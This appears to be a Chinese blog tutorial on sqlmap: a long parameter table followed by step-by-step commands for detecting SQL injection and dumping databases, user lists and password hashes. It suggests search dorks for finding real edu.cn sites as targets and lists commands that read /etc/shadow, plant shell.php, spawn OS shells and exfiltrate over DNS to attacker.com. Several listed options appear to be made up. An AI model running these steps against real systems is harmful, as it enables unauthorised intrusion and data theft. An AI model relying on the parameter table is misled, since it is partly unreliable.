【SQL注入】sqlmap

所有命令

image-20250316160541099

-p 指定参数

SQLMap 参数全集(终极完整版)

分类参数说明示例
目标设置-u/--url指定目标URL-u "http://vuln.com?id=1"**
-m批量扫描文件(多个URL)-m urls.txt
-r从文件加载HTTP请求-r request.txt
--dataPOST请求数据--data="user=admin&pass=123"
--cookieCookie注入--cookie="PHPSESSID=a8d12e"
--dbms指定数据库类型--dbms=mysql
-D指定数据库名-D app_db
-T指定表名-T users
-C指定字段名-C username,password
-p指定测试参数**-p "id,user-agent"**
--param-del参数分隔符--param-del=";"
--skip跳过指定参数--skip="user-agent,referer"
--param-exclude正则排除参数`–param-exclude="token
--prefix/--suffix注入前缀/后缀--prefix="')" --suffix="--"
--force-ssl强制使用SSL--force-ssl
请求配置--method指定HTTP方法--method=PUT
--random-agent随机User-Agent--random-agent
--user-agent自定义User-Agent--user-agent="Mozilla/5.0"
--referer自定义Referer头--referer="https://google.com"
--proxy设置代理--proxy="http://127.0.0.1:8080"
--proxy-file从文件加载代理列表--proxy-file=proxies.txt
--tor使用Tor网络--tor --tor-type=SOCKS5
--delay请求延迟(秒)--delay=3
--timeout超时时间(秒)--timeout=15
--retries失败重试次数--retries=5
--ignore-redirects忽略重定向--ignore-redirects
--headers自定义HTTP头--headers="X-Forwarded-For: 192.168.1.1"
--force-dns强制DNS解析--force-dns
--dns-domain指定DNS域名--dns-domain=attacker.com
注入检测--level测试等级(1-5)--level=5
--risk风险等级(0-3)--risk=3
--technique指定注入技术(B:布尔 U:联合 E:报错 T:时间)--technique=BEUST
--string识别真值的字符串--string="Welcome admin"
--not-string识别假值的字符串--not-string="Error"
--regexp正则识别真值页面--regexp="Logged in as (\w+)"
--code指定HTTP响应码作为真值--code=200
--time-sec时间盲注延迟(秒)--time-sec=10
--union-colsUNION查询列数范围--union-cols=10-15
--union-charUNION填充字符--union-char="NULL"
--union-from指定UNION查询FROM部分--union-from=users
数据枚举--banner获取数据库版本--banner
--current-db获取当前数据库名--current-db
--dbs列出所有数据库--dbs
--tables列出所有表--tables -D app_db
--columns列出字段结构--columns -T users
--dump导出表数据--dump -T users
--dump-all导出所有数据库数据--dump-all
--count统计记录数--count -T users
--start/--stop导出数据行范围--start=10 --stop=100
--search搜索库/表/字段--search -C password
--schema获取数据库结构--schema
--exclude-sysdbs排除系统数据库--exclude-sysdbs
系统信息--current-user获取当前用户--current-user
--is-dba检测DBA权限--is-dba
--users列出所有用户--users
--privileges获取用户权限--privileges -U admin
--roles获取角色信息--roles
--passwords获取密码哈希值--passwords
--hostname获取主机名--hostname
--statements获取SQL语句历史--statements
--udf-injectUDF注入--udf-inject
--shared-lib指定共享库路径--shared-lib=lib_mysqludf.so
文件操作--file-read读取服务器文件--file-read="/etc/passwd"
--file-write写入本地文件到服务器--file-write=shell.php --file-dest="/var/www/shell.php"
--file-dest指定服务器写入路径--file-dest="/tmp/payload"
--os-file指定操作系统文件路径--os-file="/etc/shadow"
--os-dir指定操作系统目录--os-dir="/tmp"
系统交互--os-cmd执行操作系统命令--os-cmd="id"
--os-shell获取交互式系统Shell--os-shell
--os-pwn提权攻击(获取Meterpreter等)--os-pwn
--os-smbrelaySMB中继攻击--os-smbrelay
--os-bof缓冲区溢出攻击--os-bof
--priv-esc权限提升尝试--priv-esc
--reg-read读取Windows注册表--reg-read="HKLM\SOFTWARE\Microsoft"
--reg-add添加Windows注册表项--reg-add="HKLM\SOFTWARE\Test"
--reg-del删除Windows注册表项--reg-del="HKLM\SOFTWARE\Test"
--os-cmd-limit限制OS命令执行次数--os-cmd-limit=3
--os-pwn-limit限制提权尝试次数--os-pwn-limit=2
--sql-shell获取交互式数据库Shell--sql-shell
优化调节--threads线程数(1-10)--threads=8
--keep-alive持久HTTP连接--keep-alive
--null-connection获取无内容响应--null-connection
--predict-output预测输出值--predict-output
--smart智能模式(仅当启发式检测到注入时才测试)--smart
--offline离线模式(不发送实际请求)--offline
--fresh-queries跳过缓存查询--fresh-queries
--hex使用十六进制转换--hex
--hpp使用HTTP参数污染--hpp
--tmp-path指定临时文件目录--tmp-path="/tmp/sqlmap"
--chunked使用分块传输编码--chunked
--force-pivoting强制使用代理隧道--force-pivoting
绕过技术--tamperWAF绕过脚本--tamper="space2comment,charencode"
--skip-waf跳过WAF检测--skip-waf
--dbms-cred数据库凭据--dbms-cred="admin:Pass123!"
--invalid-bignum使用大数字使参数失效--invalid-bignum
--no-cast禁用类型转换--no-cast
--no-escape禁用字符串转义--no-escape
--second-order二阶注入URL--second-order="result.php"
--eval请求前执行Python代码--eval="import time;time.sleep(2)"
输出控制-v输出详细级别(0-6)-v 3
--batch非交互模式(自动选择默认选项)--batch
--output-dir指定输出目录--output-dir="/reports"
--flush-session清空会话缓存--flush-session
--save保存配置到INI文件--save
--scope使用正则过滤URL--scope=".*\.example\.com"
--alert执行警报命令--alert="notify-send '注入发现!'"
--answers预设回答--answers="extend=n,follow=n"
--beep操作完成时发出提示音--beep
--results-file指定结果输出文件--results-file=scan.txt
--har生成HAR文件(记录HTTP流量)--har=traffic.har
--eta显示预计完成时间--eta
--log-format日志格式(CSV,JSON,XML)--log-format=JSON
--dump-format导出数据格式(CSV,HTML,SQLITE)--dump-format=SQLITE
其他功能--check-dependencies检查依赖环境--check-dependencies
--update自动更新SQLMap--update
--wizard新手向导模式--wizard
--purge清除所有缓存文件--purge
--dependencies安装Python依赖库--dependencies
--disable-coloring禁用终端颜色输出--disable-coloring
--gpageGoogle dork分页数--gpage=10
--identify-wafWAF识别--identify-waf
--mobile模拟移动设备User-Agent--mobile
--page-rankGoogle PR值过滤(仅扫描高PR网站)--page-rank>6
--skip-static跳过静态内容检测--skip-static
--sqlmap-shell进入交互式SQLMap shell--sqlmap-shell
--sql-query执行自定义SQL查询--sql-query="SELECT @@version"
--check-internet检查互联网连接--check-internet
--list-tampers列出所有可用tamper脚本--list-tampers
--smoke-test快速测试(仅基本检测)--smoke-test
--test-filter选择特定测试载荷--test-filter="ROW"

高级参数速查

参数组合功能描述
--technique=B --threads=10专注布尔盲注+多线程
--file-read+--file-write文件读写组合攻击
--reg-read+--os-cmd注册表读取+命令执行
--eta --har --output-dir完整扫描记录
--skip-static --fresh-queries高效扫描模式
--second-order --tamper高级存储型注入
--check-internet --update环境检查+自动更新

SQLmap是一款「自动化」SQL注入工具,kali自带。路径 /usr/share/sqlmap

打开终端,输入sqlmap,出现以下界面,就说明SQLmap「可用」。

在这里插入图片描述

本篇文章使用本地搭建的SQL-labs靶场作为「演示」目标,其他目标可使用必应搜索以下类型的网站:

1
2
3
inurl:news.asp?id=site:edu.cn
inurl:news.php?id= site:edu.cn
inurl:news.aspx?id=site:edu.cn

在这里插入图片描述

快速入门

SQLmap(常规)使用步骤

1、检测「注入点」

1
sqlmap -u 'http://xx/?id=1'

2、查看所有「数据库」

1
sqlmap -u 'http://xx/?id=1' --dbs

3、查看当前使用的数据库

1
sqlmap -u 'http://xx/?id=1' --current-db

4、查看「数据表」

1
sqlmap -u 'http://xx/?id=1' -D 'security' --tables

5、查看「字段」

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables

6、查看「数据」

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump

检测目标

检测「注入点」前,需要指定需要检测的「对象」。

指定url

-u 参数,指定需要检测的url,单/双引号包裹。中间如果有提示,就输入y。

提示:SQLmap不能直接「扫描」网站漏洞,先用其他扫描工具扫出注入点,再用SQLmap验证并「利用」注入点。

1
sqlmap -u 'http://xx/?id=1'

扫描完成后,告诉我们存在的注入类型和使用的数据库及版本。

image-20250316162233436

指定文件(批量检测)

准备一个「文件」,写上需要检测的多个url,一行一个。

-m 指定文件,可以「批量扫描」文件中的url,需要确认就按y。

1
sqlmap -m urls.txt

指定数据库/表/字段

-D 指定目标「数据库」,单/双引号包裹,常配合其他参数使用。

-T 指定目标「表」,单/双引号包裹,常配合其他参数使用。

-C 指定目标「字段」,单/双引号包裹,常配合其他参数使用。

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username' --dump

post请求

检测「post请求」的注入点,使用BP等工具「抓包」,将http请求内容保存到txt文件中。

-r 指定需要检测的文件,SQLmap会通过post请求方式检测目标。

1
sqlmap -r bp.txt

cookie注入

--cookie 指定cookie的值,单/双引号包裹。

1
sqlmap -u "http://xx?id=x" --cookie 'cookie'

WAF绕过

--tamper 指定绕过脚本,绕过WAF或ids等。

1
sqlmap -u 'http://xx/?id=1' --tamper 'space2comment.py'

SQLmap内置了很多绕过脚本,在 /usr/share/sqlmap/tamper/ 目录下:

image-20250316163642927

脚本按照用途命名,比如 space2comment.py 是指,用/**/代替空格。

当然,你也可以根据内置脚本格式,自己定义绕过脚本。

其他

--batch (默认确认)不再询问是否确认。

--level 1 执行测试的等级(1-5,默认为1,常用3)

--method=GET 指定请求方式(GET/POST)

--random-agent 随机切换UA(User-Agent)

--user-agent ' ' 使用自定义的UA(User-Agent)

--referer ' ' 使用自定义的 referer

--proxy="127.0.0.1:8080" 指定代理

--threads 10 设置线程数,最高10

--risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。

--level 1 执行测试的等级(1-5,默认为1,常用3)

脱库

获取所有内容

1
sqlmap -u 'http://xx/?id=1' -a

-a 就是 all 的意思,获取所有能获取的内容,会消耗很长时间。

获取数据库

--dbs 获取数据库

1、获取数据库版本

1
sqlmap -u 'http://xx/?id=1' -b

2、获取当前使用的数据库

1
sqlmap -u 'http://xx/?id=1' --current-db

3、获取所有数据库

1
sqlmap -u 'http://xx/?id=1' --dbs

获取表

--tables 获取表

1、获取表,可以指定数据库

1
sqlmap -u 'http://xx/?id=1' -D 'security' --tables

2、同时获取多个库的表名,库名用逗号分隔。

1
sqlmap -u 'http://xx/?id=1' -D 'security,sys' --tables

3、不指定数据库,默认获取每个数据库中所有的表。

1
sqlmap -u 'http://xx/?id=1' --tables

获取字段

--columns 参数用来获取字段。

1、获取字段,可以指定库和表

提示:只指定库名但不指定表名会报错。

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns

2、不指定表名,默认获取当前数据库中所有表的字段。

1
sqlmap -u 'http://xx/?id=1' --columns

获取字段类型

--schema 获取字段类型,可以指定库或指定表。不指定则获取数据库中每个表所有字段的类型。

1
sqlmap -u 'http://xx/?id=1' -D 'security' --schema

获取值(数据)

--dump 获取值,也就是表中的数据。可以指定具体的库、表、字段。

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username,password' --dump

获取指定库中所有表的数据。

1
sqlmap -u 'http://xx/?id=1' -D 'security' --dump

默认获取表中的所有数据,可以使用 --start --stop 指定开始和结束的行,只获取一部分数据。

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --start 1 --stop 5  --dump

获取用户

1、获取当前登录数据库的用户

1
sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --current-user

2、获取所有用户

--users 获取数据库的所有用户名。

1
sqlmap -u 'http://xx/?id=1' --users

3、获取用户密码

--passwords 获取所有数据库用户的密码(哈希值)。

1
sqlmap -u 'http://xx/?id=1' --passwords

数据库不存储明文密码,只会将密码加密后,存储密码的哈希值,所以这里只能查出来哈希值;当然,你也可以借助工具把它们解析成明文。最后面显示数据库用户名对应的密码的哈希值。

6.4、获取用户权限

--privileges 查看每个数据库用户都有哪些权限。

1
sqlmap -u 'http://xx/?id=1' --privileges

6.5、判断当前用户是不是管理员

--is-dba 判断当前登录的用户是不是数据库的管理员账号。

1
sqlmap -u 'http://xx/?id=1' --is-dba

如果是管理员,就在最后面显示 true。

获取主机名

--hostname 获取服务器主机名。

1
sqlmap -u 'http://xx/?id=1' --hostname

搜索库、表、字段。

--search 搜索数据库中是否存在指定库/表/字段,需要指定库名/表名/字段名。

搜索数据库中有没有 security 这个数据库:

1
sqlmap -u 'http://xx/?id=1' -D 'security' --search

需要手动选择模糊匹配(1)还是完全匹配(2),而后返回匹配的结果。

image-20250316163205508

也可以搜索表

1
sqlmap -u 'http://xxx/?id=1' -T 'users' --search

或者搜索字段

1
sqlmap -u 'http://xx/?id=1' -C 'username' --search

正在执行的SQL语句

--statements 获取数据库中正在执行的SQL语句。

1
sqlmap -u 'http://xx/?id=1' --statements 

本文参考:

SQLmap使用教程图文教程(超详细)

-------------本文结束感谢阅读-------------
创作不易,您的支持将鼓励我继续创作!